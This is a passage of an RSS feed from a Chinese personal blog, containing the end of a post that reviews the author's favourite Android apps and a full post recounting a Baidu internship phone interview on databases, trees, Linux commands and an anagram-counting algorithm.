<li>Root Explorer</li>
</ul>
<p>文件管理器，需要root，神器，很高效。ROM里面有OI文件管理卸不掉，用过ASTRO，好臃肿。<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Adfree.png" alt="Adfree" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Adfree</li>
</ul>
<p>需root，原理就是修改机身hosts，把广告（应该是Admob吧）统统屏蔽（据说对国内安A机B安C市场中app广告不起作用，看看还是官方菜市场好吧 <img src='http://logicmd.net/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' />  ）<br />
<img style="float: right; margin: 0px 3px 10px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/sogou-input.png" alt="搜狗输入法" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>搜狗输入法</li>
</ul>
<p>先是试用了百度输入法，对于800*480这个分辨率支持很不友好，虚拟键盘图片看起来很不清晰，标点符号也不够常用，当然9宫格输入字母的时候还是不错的。然后换了搜狗输入法，UI很不错~<br />
<img style="float: right; margin: 0px 3px 32px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Lookout%20Mobile%20Security.png" alt="Lookout Mobile Security" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Lookout Mobile Security</li>
</ul>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>平台上的Find my phone，用过一次定位很慢，警报也能自行停止。关键是<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>手机不是iPhone那般密封，大大多可以通过拔电池解决，再加上root后的手机随随便便就能wipe -.-</p>
<p>类似的软件还有Find My Phone（短信通信看起来不很友好）和Seek Droid（0.99刀）。<br />
<img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/OpenVPN%20Settings.png" alt="OpenVPN Settings" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/openvpn/" title="查看 OpenVPN 中的全部文章" target="_blank">OpenVPN</a></span> Settings</li>
</ul>
<p>如果不是一直开着terminal，还是用这个<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/openvpn/" title="查看 OpenVPN 中的全部文章" target="_blank">OpenVPN</a></span>的外壳吧，比TunnelDroid好用（头标也忒丑了）。偶是CM系统内置<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/openvpn/" title="查看 OpenVPN 中的全部文章" target="_blank">OpenVPN</a></span>，否则，您也许还需要<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/openvpn/" title="查看 OpenVPN 中的全部文章" target="_blank">OpenVPN</a></span> Installer。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/ConnectBot.png" alt="ConnectBot" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>ConnectBot</li>
</ul>
<p>SSH管理远程主机必备，支持密钥认证；当然也可以蛋疼地telnet bbs。<br />
<img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Brightness%20Toggle%20Widget.png" alt="OpenVPN Settings" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Brightness Toggle Widget</li>
</ul>
<p>Must have，小巧，多达10阶亮度调整，双击进入自适应状态。比系统自带的电量控制Widget好用</p>
<h2><a name="4"></a>肆、影音娱乐类（五只）</h2>
<p><img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/quick-pic.png" alt="快图浏览" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>快图浏览</li>
</ul>
<p>Must Have！ 各种给力！从某种意义上说，全拜ROM中官方图库（Gallery）所赐，BTW，Gallery那个缩略图载入速度，那个低DPI，一开始<b style="culor:black;background-culor:#ffff66">我</b>还以为是屏幕坏了！要不是有个3D效果，要不是还带重力感应，可以少量装X，<b style="culor:black;background-culor:#ffff66">我</b>早就%……￥&amp;！！<br />
<img style="float: right; margin-top: 15px; margin-right: 3px; margin-bottom: 2px; margin-left: 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/VPlayer.png" alt="VPlayer" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>VPlayer</li>
</ul>
<p>据说超越RockPlayer的应用，<b style="culor:black;background-culor:#ffff66">我</b>都装着。（RockPlayer的介绍看着好专业~~）<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Camera-360.png" alt="Camera 360" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Camera 360</li>
</ul>
<p>相机效果，比系统内置相机好用。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/PicSay%20Pro.png" alt="PicSay Pro" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>PicSay Pro</li>
</ul>
<p>还没怎么用，备着。还装了魔图精灵，更符合国人审美观。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Picplz.png" alt="Picplz" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Picplz</li>
</ul>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>上的instagrm，各种效果，各种web2.0，用@WilliamLong的说法是可以取代Flickr了，暂时不支持Desire z -.-</p>
<h2><a name="5"></a>伍、Web &amp; Web2.0类（八只）</h2>
<p><img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/UC.png" alt="UC" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>UC浏览器</li>
</ul>
<p>主要还是用系统自带的浏览器，挑个小流量备用的。用过天天浏览器（各种版本老是FC），用过Opera Mobile，还是UC老牌，UI舒服，渲染也不错，逛Discuz!论坛必备。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Opera-Mini.png" alt="Opera Mini" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Opera Mini</li>
</ul>
<p>改服版，大家懂得。<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Twidroyd.png" alt="Twidroyd" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Twidroyd</li>
</ul>
<p>上推必备，尽管Seesmic UI更精致更HD，但是还是功能多的顺手，特别是LivePreview，神马图床的推都可看了，很强大！<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/CB-sofa.png" alt="CB沙发器" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>CB沙发器</li>
</ul>
<p>常上cnBeta人士必备！<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/renren.png" alt="人人网" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>人人网</li>
</ul>
<p>可以给通信录加头像，呵呵。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/sina-weibo.png" alt="新浪围脖" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>新浪围脖</li>
</ul>
<p>还没登陆过-.-，不需要推送的就不必下了。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/aQQ.png" alt="aQQ" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>aQQ</li>
</ul>
<p>官方版的QQ实在是太庞大，太臃肿，太平台化了，很少上手机聊，还是民间精简版吧~ Must Have！<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/miniFetion.png" alt="miniFetion" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>miniFetion</li>
</ul>
<p>同PC端，非移动号码也能用，Must Have！</p>
<h2><a name="6"></a>陆、实用工具类（十三只）</h2>
<p><img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Fancy-Widget-Pro.png" alt="Fancy Widget Pro" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Fancy Widget Pro</li>
</ul>
<p>人如其名，非常华丽(Fancy)的天气Widget，HTC Sense UI天气？ MIUI天气？统统没问题，尽在Fancy Widget Pro。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/railway.png" alt="猜火车" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>猜火车</li>
</ul>
<p><b style="culor:black;background-culor:#ffff66">我</b>用过的最好用的余票查询系统。Must Have<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/bj-sub.png" alt="北京地铁" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>北京地铁</li>
</ul>
<p>头标好帅好帅，这组神奇的地铁软件分了N个城市发布在菜市场。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Moon+Reader.png" alt="Moon+ Reader" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Moon+ Reader（静读天下）</li>
</ul>
<p>RSS，书籍， txt/ePub/umd/&#8230;最好用的电子书软件，Must Have<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Barcode-Scanner.png" alt="Barcode Scanner" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Barcode Scanner</li>
</ul>
<p>老牌条形码识别，还不错，背后有丰富的后端程序（针对国内市场嘛）<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/QuickMark.png" alt="QuickMark" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>QuickMark</li>
</ul>
<p>“QuickMark”，挪鸡鸭上的经典软件，对中文支持强于Barcode Scanner。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/dbook.png" alt="图书比价" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>图书比价</li>
</ul>
<p>利用Barcode Scanner扫描识别的数据，给出图书在卓越当当的价格对比，更有豆瓣书评，Must Have！<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/wochacha.png" alt="我查查" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><b style="culor:black;background-culor:#ffff66">我</b>查查</li>
</ul>
<p>其实UI蛮丑的，web感非常重，但是国内是在没有那么好用的条形码查价格app，先用着，大家有更好的给<b style="culor:black;background-culor:#ffff66">我</b>留言。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/mcdonald.png" alt="麦当劳绿色环保手机优惠券" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>麦当劳绿色环保手机优惠券（McDonald Coupon）</li>
</ul>
<p>据说是在肯德基店不接受电子优惠券以后才流行起来的 <img src='http://logicmd.net/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /><br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/ESPN.png" alt="ESPN ScoreCenter" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>ESPN ScoreCenter</li>
</ul>
<p>体育迷必备，所有你想的到的体育项目，比分，数据，评论。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/yodao.png" alt="有道词典" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>有道词典</li>
</ul>
<p>个人觉得最好用的词典。本地词典装了CulorDict，和Moon+ Reader配合很好用。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Sound-Hound.png" alt="Sound Hound" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Sound Hound ∞</li>
</ul>
<p>著名哼唱搜素网站Midomi 的<b style="culor:black;background-culor:#a0ffff">Android</b> <b style="culor:black;background-culor:#99ff99">Apps</b>，很实用，Must Have！<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/DropBox.png" alt="DropBox" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>DropBox</li>
</ul>
<p>Web端解封了，PC端解封了，<b style="culor:black;background-culor:#a0ffff">Android</b>端还会远吗？最好用的跨平台云存储</p>
<h2><a name="7"></a>柒、游戏装X类（八只）</h2>
<p>玩的游戏比较少，推荐不具有代表性，嗯嗯~</p>
<p><img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Fruit-Ninja.png" alt="Fruit Ninja" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Fruit Ninja（水果忍者）</li>
</ul>
<p>最喜欢玩的游戏<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Angry-Bird.png" alt="Angry-Bird" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Angry Bird（愤怒的小鸟）</li>
</ul>
<p>不解释，最近太火了<br />
<a href="http://logicmd.net/wp-content/uploads/2011/02/picplz_20110201_00000489739_original.jpg" class="highslide-image" onclick="return hs.expand(this);"><img class="size-medium wp-image-42427 aligncenter" title="Angry Bird 全家福" src="http://logicmd.net/wp-content/uploads/2011/02/picplz_20110201_00000489739_original.jpg" alt="Angry Bird 全家福" width="432" height="243" /></a><br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Talking-Tom.png" alt="Talking Tom" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Talking Tom（会说话的Tom猫）</li>
</ul>
<p>据说把妹必备<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Doodle-Jump.png" alt="Doodle Jump" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Doodle Jump/Mega Jump/Ninja Jump/Hyper Jump</li>
</ul>
<p>适合触屏玩的休闲游戏，后面的几乎都是抄袭前面的。第一个最朴实，第二个最华丽，后面的还没装&#8230;<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/PVZ.png" alt="植物大战僵尸" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>植物大战僵尸</li>
</ul>
<p>虽说是国内一个团队仿制的，但是效果还不错，但是不适合在触屏上玩<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/iLightr.png" alt="iLightr" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>iLightr</li>
</ul>
<p>再一个装X类，1.2以后还可以吹灭，呵呵。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Solo.png" alt="Solo" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Solo（吉他独奏）</li>
</ul>
<p>著名的iPhone女之后涌现的<b style="culor:black;background-culor:#a0ffff">Android</b>女御用App。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/musical-pro.png" alt="Musical Pro" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Musical Pro（移动演奏家）</li>
</ul>
<p>非常棒的钢琴演奏效果，还带有练曲功能，即使完全是乐盲也能奏出好听的曲子~比同类的xPiano和MyPiano好，但是Desire Z的外放实在是渣</p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/02/list-of-my-android-apps/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>实习面经（二）：百度商务搜索部</title>
		<link>http://logicmd.net/2011/01/internship-interview-experience-baidu/</link>
		<comments>http://logicmd.net/2011/01/internship-interview-experience-baidu/#comments</comments>
		<pubDate>Fri, 31 Dec 2010 17:12:49 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Planning]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[baidu]]></category>
		<category><![CDATA[百度]]></category>
		<category><![CDATA[面经]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42410</guid>
		<description><![CDATA[在bbs看到招实习的帖子后，我发了Email，大约1一周后，接到助理MM的电话，预约我是否最近有空，可以进行电面。最后我们约好在第二天下午进行电面。

一面
周四下午我一直处于等待之中，三点十分的时候，我接到面试官的电话，询问20分钟后是否有空，要求我准备好纸笔一类。三点半面试正式开始。
开始同样要求做自我介绍，然后在开始正式的电面。

关于数据库的。
开始问了我数据库中索引的概念，应该算是warming  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://logicmd.net/wp-content/uploads/2011/01/baidu-logo.png"><img class="alignright" title="baidu-logo" src="http://logicmd.net/wp-content/uploads/2011/01/baidu-logo.png" alt="" width="190" height="76" /></a>在bbs看到招实习的帖子后，我发了Email，大约1一周后，接到助理MM的电话，预约我是否最近有空，可以进行电面。最后我们约好在第二天下午进行电面。</p>
<p><span id="more-42410"></span></p>
<h2>一面</h2>
<p>周四下午我一直处于等待之中，三点十分的时候，我接到面试官的电话，询问20分钟后是否有空，要求我准备好纸笔一类。三点半面试正式开始。</p>
<p>开始同样要求做自我介绍，然后在开始正式的电面。</p>
<ul>
<li>关于数据库的。</li>
<p>开始问了我数据库中索引的概念，应该算是warming up吧。由于我没有学过数据库类的课程，所以说的有些含糊不清。<a rel="nofollow" href="http://baike.baidu.com/view/262241.htm" target="_blank">百度百科</a>里对于索引是这么定义的。</p>
<blockquote><p>使用索引可快速访问数据库表中的特定信息。索引是对数据库表中一列或多列的值进行排序的一种结构，例如 employee 表的姓（name）列。如果要按姓查找特定职员，与必须搜索表中的所有行相比，索引会帮助您更快地获得该信息。</p>
<p>索引是一个单独的、物理的数据库结构，它是某个表中一列或若干列值的集合和相应的指向表中物理标识这些值的数据页的逻辑指针清单。</p>
<p>索引提供指向存储在表的指定列中的数据值的指针，然后根据您指定的排序顺序对这些指针排序。数据库使用索引的方式与您使用书籍中的索引的方式很相似：它搜索索引以找到特定值，然后顺指针找到包含该值的行。</p></blockquote>
<p>接下来就是操作数据库的语言，个人是用PHP操作过数据库，所以面试官也没有问太多内容。</p>
<p>再接着问了一个情景，对于很多人访问同一个数据库发出了很多请求，如何优化？答曰使用缓存，缓存可以减小数据库的压力，提高响应速度；又问了缓存的弊端，我也大概地答了一下，缓存要考虑过期时间的问题，可能会更新不及时，有时候需要手动更新缓存blabla。</p>
<li>一个具体的情景</li>
<p>一篇很长很长的英文文章，中间可能出现[a-z;A-Z]，统计哪个字母没有出现过。<br />
这个我居然说用hash表，囧。<br />
然后把结果储存起来发给下游，最小的储存结构是什么。答曰char[52]数组即可。</p>
<li>关于二叉树
<ol>
<li>什么是平衡二叉树？</li>
<p>这个没答上来，  <img src='http://logicmd.net/wp-includes/images/smilies/icon_cry.gif' alt=':cry:' class='wp-smiley' />  <a rel="nofollow" href="http://baike.baidu.com/view/593144.htm" target="_blank">传送门</a>。</p>
<li>举出一个特殊二叉树。</li>
<p>偶居然说huffman编码的结构。（额，真的是信息论学多了。）</p>
<li>二叉树的存储结构。</li>
<p>我说了一种《数据结构》里面的存法，先根遍历加中根遍历可以唯一的确定一棵二叉树。问有没有更小的数据结构存储。思考良久未果。（现在想想在先序遍历每一层加个标记就可以唯一确定了 <img src='http://logicmd.net/wp-includes/images/smilies/icon_eek.gif' alt='8-O' class='wp-smiley' /> ）</ol>
</li>
<li>关于多叉树数据结构实现</li>
<p>当然需要一个变量存储该节点内容。至于多叉的结构。我已开始说数组，但是申请多少呢？所以想到了链表。现在去查了一下<a rel="nofollow" href="http://topic.csdn.net/t/20041231/22/3692700.html" target="_blank">资料</a>。链表确实是不错的选择。</p>
<pre class="brush:cpp">// 节点结构
typedef struct node
{
	void * data ; // 内容存储在这里
	// 至于内容是什么类型的，全靠程序员自己把握。
	struct node * nextnode ; // 同一父节点下的其他节点，
	// 最后一个节点该指针为NULL
	struct node * sublevel ; // 子节点指针，指向第一个子节点；
	// 无子节点该指针为NULL
}Node ;</pre>
</ul>
<p>整个一面大约持续40分钟。感觉只答对了大约一半的问题，sigh&#8230; 没想到过了不到10分钟，二面电话就来了。</p>
<h2>二面</h2>
<p>二面一上来便要求我说明可能的实习时间，以及要求我详细滴介绍了项目和竞赛获奖情况。接下来就开始正式面试了</p>
<ul>
<li> 一些Linux命令的问题
<ol>
<li>看剩余内存是多少用什么命令？——free</li>
<li>vm-state是干嘛的？这个我还真不知道，后面去搜索也没搜出来</li>
<li>结束进程用什么命令？——kill</li>
<li>强制结束进程要给什么信号？——答不记得了，应该看manual可以查到 = =! 后来查了一下是给kill -9</li>
<li>100！末尾有几个0？（这不是小学奥赛题么？）</li>
<li>大边对齐、小边对齐（这个真没听说过；现在想想是不是问的大端法，小端法的问题 = =）</li>
</ol>
</li>
<li>关于<a href="http://topic.csdn.net/u/20080602/14/ada5e2c5-c8cd-48a0-a4f2-a5e1f83547a8.html" target="_blank" rel="nofollow">兄弟单词</a>
<p>给你一个单词a，如果通过交换单词中字母的顺序可以得到另外的单词b，那么定义b是a的兄弟单词。现在给你一个字典，用户输入一个单词，让你根据字典找出这个单词有多少个兄弟单词。 （这道题面试官说有O(1) 的解法，。。。。。）</p>
<blockquote><p>定义 操作 F(A1,A2,A3&#8230;.An)=P(A1)*P(A2)*P(A3)&#8230;..P(An);</p>
<p>其中 P(A1)= PrimeNum[A1-'a'],<br />
    PrimeNum 是从2开始的连续 素数 数组(2,3,5,7,&#8230;..)</p>
<p>示例:<br />
    F(bad)=P(b)*P(a)*P(d)=3*2*7=42</p>
<p>    遍历字典,求每个单词的F()操作值,如果相等就是,不等就下一个</p></blockquote>
<blockquote><p>为了尽可能容纳更多单词，定义36进制，数元为[0~9, A~Z]<br />
每个单词的Key表示为一个长度为26的字符串，每一位分别是字母A~Z在这个单词中出现的次数(n: 0~Z)，<br />
如单词good，Key:00010010000000200000000000</p>
<p>ABCDEFGHIJKLMNOPQRSTUVWXYZ<br />
00010010000000200000000000</p>
<p>输入单词F([A~Z]{0~Z})</p>
<p>1、求F的Key<br />
2、遍历字典，求每个单词的Key，Key相等则为兄弟单词</p>
<p>对比素数积Key，<br />
  优点：不易溢出<br />
  缺点：虽然定义的n在0~Z之间，但还是覆盖不到类似a{37}相同字符出现超过36个的情况，但现有的单词序列中似乎还没有:)</p></blockquote>
</li>
</ul>
<p>二面大约花了20分钟。</p>
<h2>等待</h2>
<p>然后就是长达1周多的等待，然后，然后收到了助理MM的邮件，二面Fail。其实我二面的感觉比一面更好点，至少问题正确率高点，但是据 @whusnoppy 透露，二面应该是小boss了，再加上他们一致对于我的实习时间不满意，所以。。。</p>
<p>不管怎样，长了不少知识，Happy new year吧！</p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/01/internship-interview-experience-baidu/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching using disk: basic
Object Caching 1095/1164 objects using disk: basic

Served from: logicmd.net @ 2012-05-14 14:17:06 -->
